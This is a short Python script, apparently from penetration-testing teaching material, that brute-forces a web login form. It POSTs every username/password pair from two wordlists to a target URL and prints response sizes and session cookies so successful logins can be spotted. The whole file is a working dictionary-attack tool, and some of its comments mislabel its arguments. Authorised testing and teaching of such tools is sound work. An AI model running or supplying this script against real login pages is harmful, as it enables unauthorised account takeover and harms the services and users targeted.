request_brute.py

#!/usr/bin/env python
'''
Author: Christopher Duffy
Date: April 2015
Name: request_brute.py
Purpose: Prototype code to login to an application and exeucte follow-on activity using the request library

Copyright (c) 2015, Christopher Duffy All rights reserved.

Redistribution and use in source and binary forms, with or without modification, 
are permitted provided that the following conditions are met: * Redistributions 
of source code must retain the above copyright notice, this list of conditions and 
the following disclaimer. * Redistributions in binary form must reproduce the above 
copyright notice, this list of conditions and the following disclaimer in the 
documentation and/or other materials provided with the distribution. * Neither the 
name of the nor the names of its contributors may be used to endorse or promote 
products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, 
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 
DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, 
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS 
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
'''

import requests, argparse, sys
def host_test(users, passes, target):
    with open(users) as f:
        usernames = f.readlines()
    with open(passes) as g:
        passwords = g.readlines()
    login = {'Login' : 'Login'}
    for user in usernames:
        for passwd in passwords:
            print("[*] Testing username %s and password %s against %s") % (user.rstrip('\n'), passwd.rstrip('\n'), target.rstrip('\n'))
            payload = {'username':user.rstrip('\n'), 'password':passwd.rstrip('\n')}
            session = requests.session()
            postrequest = session.post(target, payload)
            print("[*] The response size is: %s") % (len(postrequest.text))
            print("[*] The cookie for this attempt is: %s") % (str(requests.utils.dict_from_cookiejar(session.cookies)))

def main():
    # If script is executed at the CLI
    usage = '''usage: %(prog)s [-t http://127.0.0.1] [-f wordlist] -q -v -vv -vvv'''
    parser = argparse.ArgumentParser(usage=usage)
    parser.add_argument("-t", action="store", dest="target", default=None, help="Host to test")
    parser.add_argument("-u", action="store", dest="username", default=None, help="Filename of usernames to test for")
    parser.add_argument("-p", action="store", dest="password", default=None, help="Filename of passwords to test for")
    parser.add_argument("-v", action="count", dest="verbose", default=1, help="Verbosity level, defaults to one, this outputs each command and result")
    parser.add_argument("-q", action="store_const", dest="verbose", const=0, help="Sets the results to be quiet")
    parser.add_argument('--version', action='version', version='%(prog)s 0.42b')
    args = parser.parse_args()

    # Argument Validator
    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    if (args.target == None) or (args.password == None) or (args.username == None):
        parser.print_help()
        sys.exit(1)

    # Set Constructors
    verbose = args.verbose     # Verbosity level
    username = args.username   # The password to use for the dictionary attack
    password = args.password   # The username to use for the dictionary attack
    target = args.target       # Password or hash to test against default is admin

    host_test(username, password, target)

if __name__ == '__main__':
    main()